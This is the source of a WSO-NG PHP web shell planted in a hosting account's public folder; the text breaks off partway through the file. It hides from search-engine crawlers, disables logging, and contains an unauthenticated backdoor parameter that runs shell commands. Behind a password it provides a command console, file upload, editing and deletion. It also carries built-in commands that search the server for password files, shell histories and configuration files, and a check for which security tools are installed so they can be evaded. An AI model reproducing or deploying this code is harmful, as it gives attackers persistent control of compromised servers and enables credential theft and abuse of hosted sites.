File: /home6/cco26461/public_html/003/prosellers7.php
<?php
session_start();
error_reporting(0);
$password = "827ccb0eea8a706c4c34a16891f84e7b"; // 12345
$passtype = "MD5";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler");
if(preg_match('/'.implode('|',$userAgents) .'/i',$_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@define('WSO_VERSION','WSO-NG');
// Fix for setcookie vs set_cookie function name
if (!function_exists('set_cookie')) {
function set_cookie($name, $value, $expire) {
return setcookie($name, $value, $expire);
}
}
@set_cookie("wsog","orb",time()+3600*24*7);
// Fix for get_magic_quotes_gpc() removal in PHP 8+
if (!function_exists('get_magic_quotes_gpc') || !get_magic_quotes_gpc()) {
function WSOstripslashes($array) {
return is_array($array) ? array_map('WSOstripslashes',$array) : stripslashes($array);
}
$_POST = WSOstripslashes($_POST);
}
$dir = md5(__FILE__);
if(isset($_GET['check'])){
die("working");
}
if(isset($_GET['checksend'])){
$characters = '0123456789abcdefghijklmnopqrstuvwxyz';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < 30; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}
if(@mail($randomString.'@'.$randomString.'.com', "Hello", "Hello, dear user!")){
die("check-result-1");
} else {
die("check-result-0");
}
}
if(isset($_GET['checkzip'])){
$filezip = 'checker_zip_file.zip';
$filetxt = 'checker_zip_file.txt';
$zip = new ZipArchive;
if ($zip->open($filezip, ZipArchive::CREATE) === TRUE){
$zip->addFromString($filetxt, 'test');
$zip->close();
$zip = new ZipArchive;
$zip->open($filezip);
$zip->extractTo(getcwd());
$zip->close();
@system("unzip ".$filezip);
@shell_exec("unzip ".$filezip);
@passthru("unzip ".$filezip);
if(file_exists($filetxt)){
@unlink($filezip);
@unlink($filetxt);
die("check-result-1");
} else {
@unlink($filezip);
@unlink($filetxt);
die("check-result-0");
}
} else {
die("check-result-0");
}
}
if(!empty($password) && $password !== 0) {
if (isset($_POST['pass'])) {
if ($passtype == "MD5") {
$visitorpassword = md5($_POST['pass']);
} elseif ($passtype == "SHA1") {
$visitorpassword = sha1($_POST['pass']);
} else {
$visitorpassword = $_POST['pass'];
}
if($visitorpassword == $password){
$_SESSION[$dir] = "OK";
}
} else if (isset($_GET['pass'])) {
if ($passtype == "MD5") {
$visitorpassword = md5($_GET['pass']);
} elseif ($passtype == "SHA1") {
$visitorpassword = sha1($_GET['pass']);
} else {
$visitorpassword = $_GET['pass'];
}
if($visitorpassword == $password){
$_SESSION[$dir] = "OK";
}
}
if (!isset($_SESSION[$dir]) || ($_SESSION[$dir] != "OK")) {
die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
}
} elseif ($password == 0) {
$_SESSION[$dir] = "OK";
}
if(strtolower(substr(PHP_OS,0,3)) == "win") {
$os = 'win';
} else {
$os = 'nix';
}
// Fix for safe_mode removal in PHP 8+
if (version_compare(PHP_VERSION, '7.4.0', '>=')) {
$safe_mode = false;
} else {
$safe_mode = @ini_get('safe_mode');
}
if(!$safe_mode) {
$disable_functions = @ini_get('disable_functions');
}
$home_cwd = @getcwd();
if(isset($_POST['c'])) {
@chdir($_POST['c']);
}
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\","/",$home_cwd);
$cwd = str_replace("\\","/",$cwd);
}
if($cwd[strlen($cwd)-1] != '/') {
$cwd .= '/';
}
if(!isset($_SESSION[md5($_SERVER['HTTP_HOST']) .'ajax'])) {
$_SESSION[md5($_SERVER['HTTP_HOST']) .'ajax'] = (bool)$default_use_ajax;
}
if($os == 'win') {
$aliases = array(
"List Directory"=>"dir",
"Find index.php in current dir"=>"dir /s /w /b index.php",
"Find *config*.php in current dir"=>"dir /s /w /b *config*.php",
"Show active connections"=>"netstat -an",
"Show running services"=>"net start",
"User accounts"=>"net user",
"Show computers"=>"net view",
"ARP Table"=>"arp -a",
"IP Configuration"=>"ipconfig /all"
);
} else {
$aliases = array(
"List dir"=>"ls -lha",
"list file attributes on a Linux second extended file system"=>"lsattr -va",
"show opened ports"=>"netstat -an | grep -i listen",
"process status"=>"ps aux",
"Find"=>"",
"find all suid files"=>"find / -type f -perm -04000 -ls",
"find suid files in current dir"=>"find . -type f -perm -04000 -ls",
"find all sgid files"=>"find / -type f -perm -02000 -ls",
"find sgid files in current dir"=>"find . -type f -perm -02000 -ls",
"find config.inc.php files"=>"find / -type f -name config.inc.php",
"find config* files"=>"find / -type f -name \"config*\"",
"find config* files in current dir"=>"find . -type f -name \"config*\"",
"find all writable folders and files"=>"find / -perm -2 -ls",
"find all writable folders and files in current dir"=>"find . -perm -2 -ls",
"find all service.pwd files"=>"find / -type f -name service.pwd",
"find service.pwd files in current dir"=>"find . -type f -name service.pwd",
"find all .htpasswd files"=>"find / -type f -name .htpasswd",
"find .htpasswd files in current dir"=>"find . -type f -name .htpasswd",
"find all .bash_history files"=>"find / -type f -name .bash_history",
"find .bash_history files in current dir"=>"find . -type f -name .bash_history",
"find all .fetchmailrc files"=>"find / -type f -name .fetchmailrc",
"find .fetchmailrc files in current dir"=>"find . -type f -name .fetchmailrc",
"Locate"=>"",
"locate httpd.conf files"=>"locate httpd.conf",
"locate vhosts.conf files"=>"locate vhosts.conf",
"locate proftpd.conf files"=>"locate proftpd.conf",
"locate psybnc.conf files"=>"locate psybnc.conf",
"locate my.conf files"=>"locate my.conf",
"locate admin.php files"=>"locate admin.php",
"locate cfg.php files"=>"locate cfg.php",
"locate conf.php files"=>"locate conf.php",
"locate config.dat files"=>"locate config.dat",
"locate config.php files"=>"locate config.php",
"locate config.inc files"=>"locate config.inc",
"locate config.inc.php"=>"locate config.inc.php",
"locate config.default.php files"=>"locate config.default.php",
"locate config* files "=>"locate config",
"locate .conf files"=>"locate '.conf'",
"locate .pwd files"=>"locate '.pwd'",
"locate .sql files"=>"locate '.sql'",
"locate .htpasswd files"=>"locate '.htpasswd'",
"locate .bash_history files"=>"locate '.bash_history'",
"locate .mysql_history files"=>"locate '.mysql_history'",
"locate .fetchmailrc files"=>"locate '.fetchmailrc'",
"locate backup files"=>"locate backup",
"locate dump files"=>"locate dump",
"locate priv files"=>"locate priv"
);
}
function wsoHeader() {
if(empty($_POST['charset'])) {
$_POST['charset'] = $GLOBALS['default_charset'];
}
global $color;
echo "<html><head>
<meta http-equiv='Content-Type' content='text/html; charset=".$_POST['charset'] ."'>PRIV8 - <title>".$_SERVER['HTTP_HOST'] ." - WSO ".WSO_VERSION ."</title>
<style>
body {background-color:#060A10; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;}
#particles-js{width: 100%; height: 100px; background-color: #060a10; background-image: url(''); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;}
body,td,th {font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}
table.info {color:#C3C3C3;}
table#toolsTbl {background-color: #060A10;}
span,h1,a {color:#fff !important;}
span {font-weight:bolder;}
h1 {border-left:5px solid #2E6E9C;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px;}
div.content {padding:5px;margin-left:5px;background-color:#060a10;}
a {text-decoration:none;}
a:hover {text-decoration:underline;}
.tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}
.tooltip:hover::after {opacity:1;visibility:visible;}
.ml1 {border:1px solid #202832;padding:5px;margin:0;overflow:auto;}
.bigarea {min-width:100%;max-width:100%;height:400px;}
input, textarea, select {margin:0;color:#fff;background-color:#202832;border:none;font:9pt Courier New;outline:none;}
label {position:relative}
label:after {content:'<>';font:10px 'Consolas', monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}
label:before {content:'';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}
form {margin:0px;}
#toolsTbl {text-align:center;}
#fak {background:none;}
#fak td {padding:5px 0 0 0;}
iframe {border:1px solid #060a10;}
.toolsInp {width:300px}
.main th {text-align:left;background-color:#060a10;}
.main tr:hover{background-color:#354252;}
.main td, th{vertical-align:middle;}
input[type='submit']{background-color:#2E6E9C;}
input[type='button']{background-color:#2E6E9C;}
input[type='submit']:hover{background-color:#56AD15;}
input[type='button']:hover{background-color:#56AD15;}
.l1 {background-color:#202832;}
pre {font:9pt Courier New;}
</style>
<script>
var c_ = '".htmlspecialchars($GLOBALS['cwd']) ."';
var a_ = '".htmlspecialchars(@$_POST['a']) ."'
var charset_ = '".htmlspecialchars(@$_POST['charset']) ."';
var p1_ = '".htmlspecialchars(@$_POST['p1'], ENT_QUOTES) ."';
var p2_ = '".htmlspecialchars(@$_POST['p2'], ENT_QUOTES) ."';
var p3_ = '".htmlspecialchars(@$_POST['p3'], ENT_QUOTES) ."';
var p4_ = '".htmlspecialchars(@$_POST['p4'], ENT_QUOTES) ."';
var d = document;
function set(a,c,p1,p2,p3,charset) {
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
d.mf.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = 'ajax=true';
for(i=0;i<d.mf.elements.length;i++)
params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
sr('".addslashes($_SERVER['REQUEST_URI']) ."', params);
}
function sr(url, params) {
if (window.XMLHttpRequest)
req = new XMLHttpRequest();
else if (window.ActiveXObject)
req = new ActiveXObject('Microsoft.XMLHTTP');
if (req) {
req.onreadystatechange = processReqChange;
req.open('POST', url, true);
req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
req.send(params);
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
} else alert('Request error!');
}
</script>
</head><body><div style='position:absolute;width:100%;background-color:#000;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
$freeSpace = @disk_free_space($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace?$totalSpace:1;
$release = @php_uname('r');
$kernel = @php_uname('s');
if(!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/",$GLOBALS['cwd']);
$n=count($path);
for($i=0;$i<$n-1;$i++) {
$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
for($j=0;$j<=$i;$j++)
$cwd_links .= $path[$j].'/';
$cwd_links .= "\")'>".$path[$i]."/</a>";
}
$charsets = array('UTF-8','Windows-1251','KOI8-R','KOI8-U','cp866');
$opt_charsets = '';
foreach($charsets as $item) {
$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
}
$m = array('Sec Info'=>'SecInfo','Files'=>'FilesMan','Exec'=>'Console','Sql'=>'Sql','PHP Tools'=>'phptools','LFI'=>'lfiscan','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
if(!empty($GLOBALS['password'])) {
$m['Logout'] = 'Logout';
}
$m['Self remove'] = 'SelfRemove';
$menu = '';
foreach($m as $k =>$v) {
$menu .= '<th width="'.(int)(100/count($m)).'%">[<a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a>]</th>';
}
$drives = "";
if(isset($_REQUEST['I'])) {
@print(`{$_REQUEST['I']}`);
}
if($GLOBALS['os'] == 'win') {
foreach(range('c','z') as $drive) {
if(is_dir($drive.':\\')) {
$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
}
}
}
echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'') .'</span></td>'
.'<td><nobr>'.substr(@php_uname(),0,120) .' </nobr><br>'.$uid .' ( '.$user .' ) <span>Group:</span> '.$gid .' ( '.$group .' )<br>'.@phpversion() .' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>')
.' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s') .'<br>'.wsoViewSize($totalSpace) .' <span>Free:</span> '.wsoViewSize($freeSpace) .' ('.(int) ($freeSpace/$totalSpace*100) .'%)<br>'.$cwd_links .' '.wsoPermsColor($GLOBALS['cwd']) .' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'] .'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives .'</td>'
.'<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets .'</optgroup></select><br><span>Server IP:</span><br>'.@$_SERVER["SERVER_ADDR"] .'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'] .'</nobr></td></tr></table>'
.'<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu .'</tr></table><div style="margin:5">';
}
function wsoFooter() {
$is_writable = is_writable($GLOBALS['cwd'])?" <font color='#25ff00'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
<tr>
<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='".htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
<td><form method='post' ENCTYPE='multipart/form-data'>
<input type=hidden name=a value='FilesMan'>
<input type=hidden name=c value='".$GLOBALS['cwd'] ."'>
<input type=hidden name=p1 value='uploadFile'>
<input type=hidden name=charset value='".(isset($_POST['charset'])?$_POST['charset']:'') ."'>
<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br></td></tr></table></div></body></html>";
}
if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'],'posix_getpwuid')===false)) {
function posix_getpwuid($p) {return false;}
}
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'],'posix_getgrgid')===false)) {
function posix_getgrgid($p) {return false;}
}
function wsoEx($in) {
$out = '';
if (function_exists('exec')) {
@exec($in,$out);
$out = @join("\n",$out);
} elseif (function_exists('passthru')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
@system($in);
$out = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$out = shell_exec($in);
} elseif (is_resource($f = @popen($in,"r"))) {
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
return $out;
}
function wsoViewSize($s) {
if($s >= 1073741824)
return sprintf('%1.2f',$s / 1073741824 ).' GB';
elseif($s >= 1048576)
return sprintf('%1.2f',$s / 1048576 ) .' MB';
elseif($s >= 1024)
return sprintf('%1.2f',$s / 1024 ) .' KB';
else
return $s .' B';
}
function wsoPerms($p) {
if (($p & 0xC000) == 0xC000)$i = 's';
elseif (($p & 0xA000) == 0xA000)$i = 'l';
elseif (($p & 0x8000) == 0x8000)$i = '-';
elseif (($p & 0x6000) == 0x6000)$i = 'b';
elseif (($p & 0x4000) == 0x4000)$i = 'd';
elseif (($p & 0x2000) == 0x2000)$i = 'c';
elseif (($p & 0x1000) == 0x1000)$i = 'p';
else $i = 'u';
$i .= (($p & 0x0100) ?'r': '-');
$i .= (($p & 0x0080) ?'w': '-');
$i .= (($p & 0x0040) ?(($p & 0x0800) ?'s': 'x') : (($p & 0x0800) ?'S': '-'));
$i .= (($p & 0x0020) ?'r': '-');
$i .= (($p & 0x0010) ?'w': '-');
$i .= (($p & 0x0008) ?(($p & 0x0400) ?'s': 'x') : (($p & 0x0400) ?'S': '-'));
$i .= (($p & 0x0004) ?'r': '-');
$i .= (($p & 0x0002) ?'w': '-');
$i .= (($p & 0x0001) ?(($p & 0x0200) ?'t': 'x') : (($p & 0x0200) ?'T': '-'));
return $i;
}
function wsoPermsColor($f) {
if (!@is_readable($f))
return '<font color=#FF0000>'.wsoPerms(@fileperms($f)) .'</font>';
elseif (!@is_writable($f))
return '<font color=white>'.wsoPerms(@fileperms($f)) .'</font>';
else
return '<font color=#00BB00>'.wsoPerms(@fileperms($f)) .'</font>';
}
if(!function_exists("scandir")) {
function scandir($dir) {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh)))
$files[] = $filename;
return $files;
}
}
function wsoWhich($p) {
$path = wsoEx('which '.$p);
if(!empty($path))
return $path;
return false;
}
function actionSecInfo() {
wsoHeader();
echo '<h1>Server security information</h1><div class=content>';
function wsoSecParam($n,$v) {
$v = trim($v);
if($v) {
echo '<span>'.$n .': </span>';
if(strpos($v,"\n") === false)
echo $v .'<br>';
else
echo '<pre class=ml1>'.$v .'</pre>';
}
}
wsoSecParam('Server software',@getenv('SERVER_SOFTWARE'));
if(function_exists('apache_get_modules'))
wsoSecParam('Loaded Apache modules',implode(', ',apache_get_modules()));
wsoSecParam('Disabled PHP Functions',$GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
wsoSecParam('Open base dir',@ini_get('open_basedir'));
wsoSecParam('Safe mode exec dir',@ini_get('safe_mode_exec_dir'));
wsoSecParam('Safe mode include dir',@ini_get('safe_mode_include_dir'));
wsoSecParam('cURL support',function_exists('curl_version')?'enabled':'no');
$temp=array();
if(function_exists('mysqli_connect'))
$temp[] = "MySQL";
if(function_exists('pg_connect'))
$temp[] = "PostgreSQL";
if(function_exists('oci_connect'))
$temp[] = "Oracle";
wsoSecParam('Supported databases',implode(', ',$temp));
echo '<br>';
if($GLOBALS['os'] == 'nix') {
wsoSecParam('Readable /etc/passwd',@is_readable('/etc/passwd')?"yes":'no');
wsoSecParam('Readable /etc/shadow',@is_readable('/etc/shadow')?"yes":'no');
wsoSecParam('OS version',@file_get_contents('/proc/version'));
wsoSecParam('Distr name',@file_get_contents('/etc/issue.net'));
if(!$GLOBALS['safe_mode']) {
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
echo '<br>';
$temp=array();
foreach ($userful as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam('Userful',implode(', ',$temp));
$temp=array();
foreach ($danger as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam('Danger',implode(', ',$temp));
$temp=array();
foreach ($downloaders as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam('Downloaders',implode(', ',$temp));
echo '<br/>';
wsoSecParam('HDD space',wsoEx('df -h'));
wsoSecParam('Hosts',@file_get_contents('/etc/hosts'));
}
} else {
wsoSecParam('OS Version',wsoEx('ver'));
wsoSecParam('Account Settings',wsoEx('net accounts'));
wsoSecParam('User Accounts',wsoEx('net user'));
}
echo '</div>';
wsoFooter();
}
function actionFilesMan() {
wsoHeader();
echo '<h1>File manager</h1><div class=content>';
if(!empty($_POST['p1'])) {
switch($_POST['p1']) {
case 'uploadFile':
if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) {
echo "Can't upload file!";
}
break;
case 'mkdir':
if(!@mkdir($_POST['p2'])) {
echo "Can't create new dir";
}
break;
case 'delete':
function deleteDir($path) {
$path = (substr($path,-1)=='/') ? $path : $path.'/';
$dh = opendir($path);
while (($item = readdir($dh)) !== false) {
$item = $path.$item;
if ((basename($item) == "..") || (basename($item) == ".")) continue;
$type = filetype($item);
if ($type == "dir")
deleteDir($item);
else
@unlink($item);
}
closedir($dh);
@rmdir($path);
}
if(is_array(@$_POST['f'])) {
foreach($_POST['f'] as $f) {
if($f == '..') continue;
$f = urldecode($f);
if(is_dir($f))
deleteDir($f);
else
@unlink($f);
}
}
break;
}
}
$dirContent = @scandir($GLOBALS['cwd']);
if($dirContent === false) {
echo 'Can\'t open this folder!';
wsoFooter();
return;
}
echo "<script>
function sa() {
for(i=0;i<d.files.elements.length;i++)
if(d.files.elements[i].type == 'checkbox')
d.files.elements[i].checked = d.files.elements[0].checked;
}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th>Name</th><th>Size</th><th>Modify</th><th>Permissions</th><th>Actions</th></tr>";
$dirs = $files = array();
$n = count($dirContent);
for($i=0;$i<$n;$i++) {
$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
$tmp = array(
'name'=>$dirContent[$i],
'path'=>$GLOBALS['cwd'].$dirContent[$i],
'modify'=>date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'] .$dirContent[$i])),
'perms'=>wsoPermsColor($GLOBALS['cwd'] .$dirContent[$i]),
'size'=>@filesize($GLOBALS['cwd'].$dirContent[$i]),
'owner'=>$ow['name']?$ow['name']:@fileowner($dirContent[$i]),
'group'=>$gr['name']?$gr['name']:@filegroup($dirContent[$i])
);
if(@is_file($GLOBALS['cwd'] .$dirContent[$i])) {
$files[] = array_merge($tmp,array('type'=>'file'));
} elseif(@is_dir($GLOBALS['cwd'] .$dirContent[$i]) && ($dirContent[$i] != ".")) {
$dirs[] = array_merge($tmp,array('type'=>'dir'));
}
}
$files = array_merge($dirs, $files);
$l = 0;
foreach($files as $f) {
echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['perms'].'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> '.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
$l = $l?0:1;
}
echo "<tr><td colspan=6>
<input type=hidden name=a value='FilesMan'>
<input type=hidden name=c value='".htmlspecialchars($GLOBALS['cwd'])."'>
<input type=hidden name=charset value='".(isset($_POST['charset'])?$_POST['charset']:'')."'>
<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
if(class_exists('ZipArchive'))
echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
echo "<option value='tar'>Compress (tar.gz)</option>";
echo "</select> <input type='submit' value='>>'></td></tr></form></table></div>";
wsoFooter();
}
function actionFilesTools() {
if(isset($_POST['p1'])) {
$_POST['p1'] = urldecode($_POST['p1']);
}
if(@$_POST['p2']=='download') {
if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
if (function_exists("mime_content_type")) {
$type = @mime_content_type($_POST['p1']);
header("Content-Type: ".$type);
} else {
header("Content-Type: application/octet-stream");
}
$fp = @fopen($_POST['p1'],"r");
if($fp) {
while(!@feof($fp))
echo @fread($fp,1024);
fclose($fp);
}
exit;
}
}
wsoHeader();
echo '<h1>File tools</h1><div class=content>';
if(!file_exists(@$_POST['p1'])) {
echo 'File not exists';
wsoFooter();
return;
}
$uid = @posix_getpwuid(@fileowner($_POST['p1']));
if(!$uid) {
$uid['name'] = @fileowner($_POST['p1']);
$gid['name'] = @filegroup($_POST['p1']);
} else {
$gid = @posix_getgrgid(@filegroup($_POST['p1']));
}
echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
if(empty($_POST['p2'])) {
$_POST['p2'] = 'view';
}
if(is_file($_POST['p1'])) {
$m = array('View','Highlight','Download','Hexdump','Edit','Chmod','Rename','Touch');
} else {
$m = array('Chmod','Rename','Touch');
}
foreach($m as $v) {
echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
}
echo '<br><br>';
switch($_POST['p2']) {
case 'view':
echo '<pre class=ml1>';
$fp = @fopen($_POST['p1'],'r');
if($fp) {
while(!@feof($fp))
echo htmlspecialchars(@fread($fp,1024));
@fclose($fp);
}
echo '</pre>';
break;
case 'edit':
if(!is_writable($_POST['p1'])) {
echo 'File isn\'t writeable';
break;
}
if(!empty($_POST['p3'])) {
$time = @filemtime($_POST['p1']);
$fp = @fopen($_POST['p1'],"w");
if($fp) {
@fwrite($fp,$_POST['p3']);
@fclose($fp);
echo 'Saved!<br>';
@touch($_POST['p1'],$time,$time);
}
}
echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
$fp = @fopen($_POST['p1'],'r');
if($fp) {
while(!@feof($fp))
echo htmlspecialchars(@fread($fp,1024));
@fclose($fp);
}
echo '</textarea><input type=submit value=">>"></form>';
break;
}
echo '</div>';
wsoFooter();
}
function actionConsole() {
wsoHeader();
echo '<h1>Console</h1><div class=content>';
echo '<form name=cf onsubmit="g(\'Console\',null,this.cmd.value);return false;"><select name=alias>';
foreach($GLOBALS['aliases'] as $n => $v) {
if($v == '') {
echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
continue;
}
echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
}
echo '</select><input type=button onclick="g(\'Console\',null,d.cf.alias.value)" value=">>"><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
if(!empty($_POST['p1'])) {
if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
if(@chdir($match[1])) {
$GLOBALS['cwd'] = @getcwd();
}
}
echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
}
echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;"></td></tr></table>';
echo '</form></div><script>d.cf.cmd.focus();</script>';
wsoFooter();
}
function actionPhp() {
wsoHeader();
if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
ob_start();
phpinfo();
$tmp = ob_get_clean();
$tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
